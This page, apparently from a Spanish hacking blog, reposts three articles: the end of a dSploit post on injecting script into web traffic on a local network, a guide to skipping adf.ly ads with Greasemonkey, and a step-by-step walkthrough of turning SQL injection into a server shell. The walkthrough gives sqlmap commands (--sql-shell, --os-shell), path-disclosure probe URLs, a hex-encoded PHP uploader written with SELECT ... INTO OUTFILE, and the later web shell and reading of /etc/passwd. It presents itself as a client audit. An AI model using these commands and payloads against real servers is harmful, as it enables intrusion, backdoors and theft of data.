Con “Replace Vídeos” realiza lo mismo pero con vídeos de Youtube. Elijo el vídeo que quiero que muestre por defecto y cada vez que un usuario quiera visualizar uno diferente, siempre le aparecerá el que queramos. Decir que esta opción no va muy “fina”. Al menos en las pruebas realizadas.
Script Injection” sirve para la inyección javascript en un sitios Webs. Esto lo que viene a hacer es poder insertar en el código de la Web, acciones Javascript, por ejemplo “Sitio auditado por XXX”. Cuando la victima navegue, le aparecerá en las Webs este mensaje.
Custom Filter” se basa en sustituir palabras. Imaginad una Web con un Menú “Inicio – Contacto – Galería” pues podemos sustituir el nombre de los menús por el que queramos pudiendo quedar así “Sitio – Auditado – Hacking-Etico”. 
Todos estas opciones serán efectivas si estamos dentro de nuestra propia red, ya que nuestro smartphone o tablet actúa como un “router” especial, y modifica las tramas. Esto no funciona siempre al 100%, y por supuesto hemos de hacerlo en redes de nuestra propiedad, sino como ya sabéis, se estaría incurriendo en un delito.
Aclarar que es posible hacer ataques personalizados a un determinado elemento de la red, pero no lo hemos añadido ya que sería demasiado extenso el artículo de hoy.
Esperamos que haya sido de vuestro agrado este artículo.


Un saludo.

FUENTE:http://hacking-etico.com/2013/06/14/dsploit-pentesting-con-tu-smartphone/

Cómo saltar los enlaces de publicidad como adf.ly o similares

0 comentarios
Una gran entrada que me ha sido muy útil así que la comparto, como experiencia personal con el Greasemonkey y el script me ha servido para saltar los sitios con adf.ly y linkbucks.com. Pero cabe anotar que muchos de los sitios que los usan es para "sostener" su trabajo de compartir así que sean conscientes al usar este método.





No sé vosotros, pero yo estaba hasta las pelotas harto de que cuando pinchaba ciertos enlaces de descarga o noticias se me redireccionaba previamente a un sitio de publicidad mediante adf.ly o similares... Así es el negocio, lo cual no significa que no podamos hacer algo para eliminar esta molesta (y a veces peligrosa) manera de enriquecerse de algunos.

En mi caso yo utilizo (y os recomiendo) Greasemonkey en FF más un script anti-ads como Ads Skipper. Para quien no lo sepa Greasemonkey es un complemento del navegador Firefox (existen sus equivalentes en el resto) y permite "personalizar" el código Javascript, por supuesto en el lado del cliente. Con esto podemos automatizar algunas tareas y modificar en muchos aspectos el comportamiento y apariencia de los sitios, incluyendo la "evasión" de la dichosa publicidad mediante scripts como Ads Skipper.

Por otro lado lo que suelen hacer estos scripts "anti-publicidad" es reemplazar los enlaces de acortadores de URL como adf.ly o similares por el enlace original evitándonos dar ese molesto pasito y de paso ahorrándonos la espera de la cuenta atrás. Tenéis una buena lista de sitios soportados en el sitio del script.

Si te ha convencido y no lo usabas ya antes la instalación de todo es muy sencilla:

▪ Firefox
▪ Chrome/Chromium
▪ Safari ▪ Opera
  • 1. crea un directorio en tu equipo, por ejemplo C:\userscripts
  • 2. copia este fichero del script y renómbralo de 118033.user.js a 118033.js
  • 3. abre opera. Ve a Settings > Preferences > Advanced>content>javascript options>select y selecciona la carpeta creada en el paso 1.
  • O
  • Instala violentmonkey
  • Luego instala este script
FUENTE:http://www.hackplayers.com/2013/09/como-saltar-los-enlaces-de-publicidad.html

SQL Injection to Shell with SQLMap

0 comentarios
Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso positivo).
Después de terminar el nuevo análisis  encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error:


-----------------------------------------------------------------------------------------------------------------
You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1
------------------------------------------------------------------------------------------------------------------
Entonces basándome en el resultado anterior del FP, decidí utilizar la famosa herramienta SQLMap para comprobar si realmente el sitio era vulnerable a esta inyección  para ello use el comando mas simple pero muchas veces eficiente que cuenta SQLMap:
  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --dbs
Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado:
A partir de ese error empece a preocuparme! pues el cliente necesitaba el trabajo lo mas antes posible, pero como para mi no hay nada imposible (sin presumir), opte por utilizar las técnicas y comandos mas avanzados que cuenta SQLMap, pero antes de eso tenia que comprobar si el usuario que estaba inyectando era user o root, para ello utilice el siguiente comando:
  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --current-user

Obteniendo el siguiente resultado:

Al apreciar el resultado como "none" deduje que el usuario era "root" entonces en lo primero que pensé fue en subir una web shell desde SQLMap, pero antes de realizar ese paso, tenia que obtener un Full Path Disclosure pero ¿Para que necesito un FPD? muy facil, al momento que necesitemos subir una web shell desde SQLMap, esta nos pedirá que coloquemos el PATH completo del servidor, caso contrario esta no dará resultado.
Ejemplos de obtener un Full Path Disclosure mediante Sql Injection:
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep Veremos un Sql Injection
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=[]isep Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=huey Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep! Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra='isep' Veremos un Full Path Disclosure
Otro método que también funciona para obtener un FPD es cambiando las cookies, por ejemplo si tenemos nuestras cookies PHPSESSID=13882931834931984318 simplemente queda borrar los números  quedando solamente el PHPSESSID= esto se puede realizar utilizando el Addon Live HTTP Headers.
Después de realizar estos pasos para obtener un Full Path Disclosure, el resultado fue exitoso, mostrándome el siguiente mensaje:
------------------------------------------------------------------------------------------------------------------
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /espejo/htdocs.v2/portalnuevo/buscadores/portal_contenidos.php on line 79
------------------------------------------------------------------------------------------------------------------
Conociendo el path completo del servidor, solo me faltaba buscar el código php de un upload para convertirlo en HEX e inyectarlo en el SQLMap. Seguidamente tenia que convertir el siguiente código a HEX:
------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
Ahora entre al sitio web http://www.string-functions.com/string-hex.aspx y coloque el código del upload para convertirlo a HEX, dando como resultado lo siguiente:
------------------------------------------------------------------------------------------------------------------
3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
------------------------------------------------------------------------------------------------------------------


Realizado todo lo anterior, entre nuevamente a SQLMap y coloque el siguiente comando para moverme por el servidor mediante comandos SQL.

  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --sql-shell


Ahora como ya tenia el control del servidor mediante comandos SQL, tenia que inyectar con SELECT + 0x + Codigo HEX + INTO OUTFILE + Full Path + Nombre del Upload, quedando la inyección de la siguiente manera:
------------------------------------------------------------------------------------------------------------------
select 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e 
into "/espejo/htdocs.v2/portalnuevo/buscadores/upload.php"; 
------------------------------------------------------------------------------------------------------------------

En la cual SQLMap devuelve el siguiente resultado, indicando que el upload subió perfectamente sin problema alguno, como se muestra en la siguiente imagen:


Ahora solo me quedaba abrir mi navegador y dirigirme a la ruta en la cual subí el upload.php la cual fue totalmente un éxito.
Bien ahora como ya tenia el upload.php y mi objetivo era obtener el control total del servidor, subi una web shell la cual se ejecuto perfectamente.
------------------------------------------------------------------------------------------------------------------
Como ya es de conocimiento SQLMap contiene una series de comandos que nos ayuda mucho al momento que estamos realizando una auditoria, pues también ofrece un comando para subir una web shell de una forma mas rápida a la forma de dicha herramienta.
El comando --os-shell en SQLMap permitirá subir un uploader (sqlmap file uploader) algo parecido a lo anterior pero al estilo SQLMap :)
Para realizar este paso utilizando dicho comando, teclearemos en la herramienta lo siguiente:
  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --os-shell

La herramienta nos preguntara en que lenguaje de programación esta basada el sitio web, en este caso el sitio web que ando auditando esta en PHP, por lo que sqlmap lo enumera como (default) tal cual se muestra en la siguiente imagen:
Después de colocar el numero por default o simplemente presionando enter, la herramienta nos pedirá que coloquemos el path completo del servidor la cual hemos obtenido mediante un Full Path Disclosure, después de ello, confirmaremos dicho path para que la herramienta trate de subir el uplader en el servidor.
Seguidamente si hemos colocado el path correctamente, obtendremos el uploader en el servidor, esta se nombra muchas veces como tmpjdjsk.php.
Ahora para confirmar y visualizar el uploader que subió la herramienta, abriremos la URL que la misma nos proporciono, apreciando-la de la siguiente manera:

Desde allí podemos subir nuestra web shell o cualquier archivo que nos gustaría tener dentro del servidor web.
Después que la herramienta ha realizado todo lo anterior, nos deja una session del os-shell para movernos por el servidor mediante comandos como ls - dir - cat u otros. Esto se puede ya que en si es un backdoor que SQLMap ha subido al servidor.
Ejemplo del comando cat /etc/passwd:
Ejemplo del comando uname -a y ls:
Y por ultimo la web que hemos auditado ha quedado totalmente vulnerado.
Bueno, esto fue lo que me paso hace algunos dias, lo escribo no tal solo por aburrirlos, si no para que quiza alguno de ustedes lo ponga en practica en sus Pruebas de Penetración.

Espero les sirva, un saludo y hasta la próxima ;)

FUENTE: http://calebbucker.blogspot.com/2013/01/sql-injection-to-shell-with-sqlmap.html
Powered by Bad Robot
Helped by Blackubay